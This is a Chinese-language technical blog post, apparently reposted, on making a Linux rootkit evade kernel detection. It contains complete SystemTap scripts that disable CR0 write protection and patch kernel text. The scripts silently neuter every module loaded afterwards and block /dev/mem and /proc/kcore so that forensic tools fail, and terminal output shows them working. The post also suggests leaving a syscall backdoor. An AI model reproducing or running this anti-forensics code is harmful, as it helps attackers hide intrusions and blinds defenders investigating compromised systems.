Linux Rootkit躲避內核檢測

來自 Linux Rootkit如何避開內核檢測的

Rootkit在登堂入室並得手後,還要記得把門鎖上。

如果我們想注入一個Rootkit到內核,同時不想被偵測到,那麼我們需要做的是精妙的隱藏,並保持低調靜悄悄,這個話題我已經談過了,諸如進程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

然則天網恢恢,疏而不漏,馬腳總是要露出來的。如果已經被懷疑,如何反制呢?

其實第一時間採取反制措施勢必重要!我們需要的只是佔領制高點,讓後續的偵測手段無從開展。

我們必須知道都有哪些偵測措施用來應對Rootkit,常見的,不外乎以下:

  • systemtap,raw kprobe/jprobe,ftrace等跟蹤機制。它們通過內核模塊起作用。
  • 自研內核模塊,採用指令特徵匹配,指令校驗機制排查Rootkit。
  • gdb/kdb/crash調試機制,它們通過/dev/mem,/proc/kcore起作用。

和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對象。 無論如何互搏,其戰場均在內核態。

很顯然,我們要做的就是:

  1. 第一時間封堵內核模塊的加載。
  2. 第一時間封堵/dev/mem,/proc/kcore的打開。

行文至此,我們應該已經可以說出無數種方法來完成上面的事情,對我個人而言,我的風格肯定又是二進制hook,但這次我希望用一種 正規的方式 來搞事情。

什麼是正規的方式,什麼又是奇技淫巧呢?

我們知道,Linux內核的text段是在編譯時靜態確定的,加載時偶爾有重定向,但依然保持着緊湊的佈局,所有的內核函數均在一個範圍固定的緊湊內存空間內。

因此凡是往超過該固定範圍的地方進行call/jmp的,基本都是違規,都應該嚴查。換句話說, 靜態代碼不能往動態內存進行直接的call/jmp(畢竟靜態代碼並不知道動態地址啊), 如果靜態代碼需要動態的函數完成某種任務,那麼只能用 回調, 而回調函數在指令層面是要藉助寄存器來尋址的,而不可能用rel32立即數來尋址。

如果我們在靜態的代碼中hack掉一條call/jmp指令,使得它以新的立即數作爲操作數call/jmp到我們的動態代碼,那麼這就是一個奇技淫巧,這就是不正規的方式。

反之,如果我們調用Linux內核現成的接口註冊一個回調函數來完成我們的任務,那麼這就是一種正規的方式,本文中我將使用一種基於 內核通知鏈(notifier chain) 的正規技術,來封堵內核模塊。

下面步入正題。

首先,我們來看第一點。下面的stap腳本展示瞭如何做:

#!/usr/bin/stap -g
// dismod.stp
%{
// 我們利用通知鏈機制。
// 每當內核模塊進行加載時,都會有消息在通知鏈上通知,我們只需要註冊一個handler。
// 我們的handler讓該模塊“假加載”!
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 爲了避免校準rel32調用偏移,直接使用匯編。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模塊的init函數換成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模塊的exit函數換成"return;" 防止偵測模塊在exit函數中做一些事情。
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function dismod()
%{
	int ret = 0;

	// 正規的方法,我們可以直接從vmalloc區域直接分配內存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必須使用__vmalloc接口分配可執行(PAGE_KERNEL_EXEC)內存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notifier register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	exit();
}

現在,讓我們運行上述腳本:

[root@localhost test]# ./dismod.stp
[root@localhost test]#

我們的預期是,此後所有的模塊將會 “假裝” 成功加載進內核,但實際上並不起任何作用,因爲模塊的_init函數被短路繞過,不再執行。

來吧,我們寫一個簡單的內核模塊,看看效果:

// testmod.c
#include <linux/module.h>

noinline int test_module_function(int i)
{
	printk("%d\n", i);
	// 我們的測試模塊非常狠,一加載就讓內核panic。
	panic("shabi"); 
}

static int __init testmod_init(void)
{
	printk("init\n");
	test_module_function(1234);
	return 0;
}

static void __exit testmod_exit(void)
{
	printk("exit\n");
}

module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");

如果我們在沒有執行dismod.stp的情況下加載上述模塊,顯而易見,內核會panic,萬劫不復。但實際上呢?

編譯,加載之:

[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod                12472  0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit	[testmod]
ffffffffa010d000 d __this_module	[testmod]
ffffffffa010b000 t test_module_function	[testmod]
ffffffffa010b027 t cleanup_module	[testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0

內核什麼也沒有打印,也並沒有panic,相反,模塊成功載入,並且其所有的符號均已經註冊成功,並且還能成功卸載。這意味着,模塊機制失效了!

我們試試還能使用systemtap麼?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed.  [man error::pass5]

看來不行了。

假設該機制用於Rootkit的反偵測,如果想用stap跟蹤內核,進而查出異常點,這一招已經失效。

接下來,讓我們封堵/dev/mem,/proc/kcore,而這個簡直太容易了:

#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;即返回錯誤!也就意味着“文件不可打開”。
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	// text內存已經可寫,直接用memcpy來吧。
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

probe begin
{
	kcore_poke();
	exit();
}

來吧,我們試一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

  crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]	(dumpfile form)
  crash [OPTION]... [NAMELIST]             		(live system form)

Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

哈哈,完全無法調試live kernel了!試問如何抓住Rootkit現場?

注意,上面的兩個機制,必須讓禁用/dev/mem,/proc/kcore先於封堵模塊執行,不然就會犯形而上學的錯誤,自己打自己。上述方案僅做演示,正確的做法應該是將它們合在一起:

#!/usr/bin/stap -g
// anti-sense.stp
%{
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 爲了避免校準rel32調用偏移,直接使用匯編。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模塊的init函數換成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模塊的exit函數換成"return;"
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function diskcore()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

function dismod()
%{
	int ret = 0;

	// 正規的方法,我們可以直接從vmalloc區域直接分配內存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必須使用__vmalloc接口分配可執行(PAGE_KERNEL_EXEC)內存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	printk("notify addr:%p\n", _dismod_module_notify);
	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notify register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	diskcore();
	exit();
}

從此以後,若想逮到之前的那些Rootkit,你無法加載內核模塊,無法crash調試,無法自己編程mmap /dev/mem,重啓吧!重啓之後呢?一切歸於塵土。

然而,我們自己怎麼辦?這將把我們自己的退路也同時封死,只要使用電壓凍結住內存快照,離線分析,真相必將大白!我們必須給自己留個退路,以便搗毀並恢復現場後,全身而退,怎麼做到呢?

很容易,還記得在文章 Linux動態爲內核添加新的系統調用 中的方法嗎?我們封堵了前門的同時,以新增系統調用的方式留下後門,豈不是很正常的想法?

最後,上面的所有內容,本無善惡褒貶,同樣可以利用它來 防止內核被Rootkit注入。 重要的是,誰的速度快,誰先佔領制高點。

是的。經理也是這樣想的。然而,經理不拉二胡,因爲拉二胡落下的松香灰會把經理west trousers弄髒。


浙江溫州皮鞋溼,下雨進水不會胖。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章